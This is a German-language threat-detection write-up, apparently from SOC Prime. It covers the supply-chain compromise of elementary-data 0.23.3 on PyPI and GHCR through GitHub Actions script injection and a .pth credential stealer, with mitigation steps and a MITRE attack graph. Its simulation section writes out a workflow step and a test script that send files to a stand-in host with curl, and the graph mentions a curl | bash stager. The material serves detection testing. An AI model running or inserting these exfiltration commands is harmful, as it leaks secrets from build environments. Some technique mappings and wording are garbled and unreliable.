SOC Prime Bias: Kritisch

29 Apr. 2026 17:42

Elementary-data über gefälschtes GitHub Release auf PyPI und GHCR kompromittiert

Author Photo
SOC Prime Team linkedin icon Folgen
Elementary-data über gefälschtes GitHub Release auf PyPI und GHCR kompromittiert
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine bösartige Version des elementary-data Python-Pakets, Version 0.23.3, wurde auf PyPI hochgeladen, während ein entsprechendes kompromittiertes Container-Image auch auf das GitHub Container Registry gepusht wurde. Der Angreifer fügte bösartigen Code in einen GitHub Actions-Workflow ein, fälschte eine signierte Veröffentlichung und missbrauchte dann das Workflow-Token, um die mit einer Hintertür versehenen Artefakte zu veröffentlichen. Die Nutzlast fungierte als dreistufiger Credenztial-Credential-Stealer, der darauf ausgelegt war, Geheimnisse zu sammeln und sie an eine vom Angreifer kontrollierte Domain zu exfiltrieren. Jede Umgebung, die das betroffene Paket installierte oder das neueste Container-Image zog, war einem Kompromiss ausgesetzt.

Untersuchung

Die Untersuchung ergab, dass der Angriff mit einem Kommentar zu einer offenen Pull-Anfrage begann, der direkt in ein Workflow-Skript eingefügt wurde, was eine Skriptinjektion ermöglichte. Unter Verwendung des Workflows GITHUB_TOKEN, erzeugte der Angreifer einen gefälschten Release-Commit und löste den Veröffentlichungsprozess aus, der dann das trojanisierte Wheel und das Docker-Image verteilte. Die Analyse zeigte, dass eine bösartige .pth Datei einen Base64-Wrapper decodierte, die finale Sammlungskomponente entschlüsselte und eine breite Reihe von Zugangsdaten erntete, bevor sie diese an eine benutzerdefinierte Command-and-Control-Domain übermittelte durch curl.

Abschwächung

Die Projektverantwortlichen entfernten die bösartige Paketversion von PyPI und löschten das kompromittierte Image aus GHCR, bevor sie einen sauberen Ersatz in der Version 0.23.4veröffentlichten. StepSecurity fügte die bösartige Paketversion und die vom Angreifer kontrollierte Domain zur Harden-Runner-Blockliste hinzu und blockierte das Paket während der Ausführung der Pull-Anfrage. Entwickler sollten exakte Paketversionen und Image-Digests anpinnen, vermeiden, sich auf schwebende Tags zu verlassen, und installierte Abhängigkeiten auf unerwartete .pth Dateien auditieren.

Reaktion

Verteidiger sollten nach der Präsenz von elementary.pth innerhalb von site-packages suchen und Systeme identifizieren, die den verdächtigen Docker-Image-Digest gezogen haben. Ausgehende Verbindungen zur bekannten Command-and-Control-Domain sollten sofort blockiert werden. Sicherheitsteams sollten Entwickler-Arbeitsstationen und Build-Umgebungen nach exponierten geheimen Materialien scannen, alle kompromittierten Pakete entfernen und betroffene Zugangsdaten rotieren. CI/CD-Pipelines sollten ebenfalls aktualisiert werden, um Paket-Provenienz zu validieren und striktes Image-Pinning durchzusetzen.

graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[„<b>Aktion</b> – <b>T1195.002 Kompromittierung der Lieferkette</b><br/>Der Angreifer veröffentlicht die bösartige Version 0.23.3 von elementary-data auf PyPI und pusht ein trojanisiertes Docker-Image in GHCR über die legitime Publishing-Pipeline des Projekts.“] class node_supply_chain action node_exploit_cred[„<b>Aktion</b> – <b>T1212 Ausnutzung zum Zugriff auf Anmeldeinformationen</b><br/>Eine Skript-Injektion in einen GitHub Actions Workflow über einen manipulierten Kommentar führt einen curl | bash Stager aus und nutzt das GITHUB_TOKEN des Repositories, um einen gefälschten Release-Commit zu erstellen.“] class node_exploit_cred action node_implant_image[„<b>Aktion</b> – <b>T1525 Implantation eines internen Images</b><br/>Das bösartige Docker-Image (Tag latest) wird heruntergeladen und ausgeführt und stellt eine persistente schädliche Laufzeitumgebung bereit.“] class node_implant_image action node_user_exec[„<b>Aktion</b> – <b>T1204.003 Benutzer-Ausführung: Bösartiges Image</b><br/>Container, die aus dem kompromittierten Image erstellt werden, führen beim Start automatisch die Payload aus.“] class node_user_exec action node_cred_files[„<b>Aktion</b> – <b>T1552.001 Unsichere Anmeldeinformationen: Anmeldeinformationen in Dateien</b><br/>Die Payload sammelt SSH-Private Keys, Cloud-Zugangsdaten, Docker- und Kubernetes-Konfigurationen sowie andere geheime Dateien.“] class node_cred_files action node_private_keys[„<b>Aktion</b> – <b>T1552.004 Unsichere Anmeldeinformationen: Private Schlüssel</b><br/>Gezielte Sammlung von privaten Schlüsseldateien aus .ssh- und Wallet-Verzeichnissen.“] class node_private_keys action node_archive[„<b>Aktion</b> – <b>T1560 Archivierung gesammelter Daten</b><br/>Die gesammelten Daten werden in ein tar-gz-Archiv komprimiert.“] class node_archive action node_archive_lib[„<b>Aktion</b> – <b>T1560.002 Archivierung über Bibliothek</b><br/>Verwendet die tar-Bibliothek zur Erstellung von trin.tar.gz.“] class node_archive_lib action node_obfusc[„<b>Aktion</b> – <b>T1027.015 Verschleierte Dateien oder Informationen: Kompression</b><br/>Die bösartige .pth-Datei ist base64-kodiert und mit XOR-MD5 verschlüsselt, um den Code zu verbergen.“] class node_obfusc action node_pass_hash[„<b>Aktion</b> – <b>T1550.002 Verwendung alternativer Authentifizierungsmaterialien: Pass the Hash</b><br/>Die Payload nutzt XOR-MD5-Stream-Verschlüsselung zur Verschleierung ihrer Stufen.“] class node_pass_hash action node_exfil[„<b>Aktion</b> – <b>T1048 Exfiltration über alternatives Protokoll</b><br/>Das Archiv wird über einen einzelnen curl POST an die C2-Domain exfiltriert.“] class node_exfil action %% Tools tool_pypi[„<b>Werkzeug</b> – <b>Name</b>: PyPI<br/><b>Typ</b>: Python-Paket-Repository“] class tool_pypi tool tool_ghcr[„<b>Werkzeug</b> – <b>Name</b>: GitHub Container Registry (GHCR)<br/><b>Typ</b>: Docker-Image-Registry“] class tool_ghcr tool tool_github_actions[„<b>Werkzeug</b> – <b>Name</b>: GitHub Actions<br/><b>Typ</b>: CI/CD-Engine“] class tool_github_actions tool tool_curl[„<b>Werkzeug</b> – <b>Name</b>: curl<br/><b>Typ</b>: Kommandozeilen-Tool für Datentransfer“] class tool_curl tool tool_bash[„<b>Werkzeug</b> – <b>Name</b>: bash<br/><b>Typ</b>: Shell-Interpreter“] class tool_bash tool %% Malware malware_docker_image[„<b>Malware</b> – <b>Name</b>: Bösartiges Docker-Image<br/><b>Tag</b>: latest“] class malware_docker_image malware malware_payload[„<b>Malware</b> – <b>Name</b>: Payload .pth Datei<br/><b>Verschleierung</b>: Base64 + XOR-MD5“] class malware_payload malware %% Connections (unchanged) node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl

Angriffsfluss

## Simulation der Ausführung

Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen spiegeln direkt die identifizierten TTPs wider und sollen die genau erwartete Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffsnarrativ & Befehle:
    Ein Angreifer hat ein Repository kompromittiert, das GitHub Actions für CI/CD verwendet. Sie fügen dem Workflow-File einen bösartigen Schritt hinzu:

    - name: Daten exfiltrieren
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Wenn der Workflow auf dem GitHub Actions Runner ausgeführt wird, sieht der Prozessbaum aus wie:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (Elternprozess)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (Kindprozess)

    The auditd Protokoll für Schritt 2 enthält eine Befehlszeile sowohl mit bash and curl --data-binary, wodurch die Sigma-Bedingung erfüllt wird.

  • Regressionstests-Skript:

    #!/usr/bin/env bash
    #
    # Simulieren des bösartigen GitHub-Actions-Schritts, der die Erkennungsregel auslösen soll.
    # Erzeugt eine temporäre Datei, schreibt Dummy-Daten und exfiltriert sie dann über Curl, der in Bash eingebunden ist.
    
    set -euo pipefail
    
    # 1. Erstellen von Dummy-Geheimdaten
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. Die Exfiltration mit dem anfälligen Muster durchführen
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Bestätigung für den Tester ausgeben
    echo "Bösartige Exfiltration simuliert; Temp-Datei $tmpfile sollte durch Aufräumung gelöscht werden."
  • Aufräumungsbefehle:

    #!/usr/bin/env bash
    # Entfernen aller temporären Dateien, die während der Simulation erstellt wurden
    rm -f /tmp/secret_data.*
    
    # Optional: Stoppen aller verbleibenden Curl-Prozesse (sollte nicht erforderlich sein)
    pkill -f "curl --data-binary" || true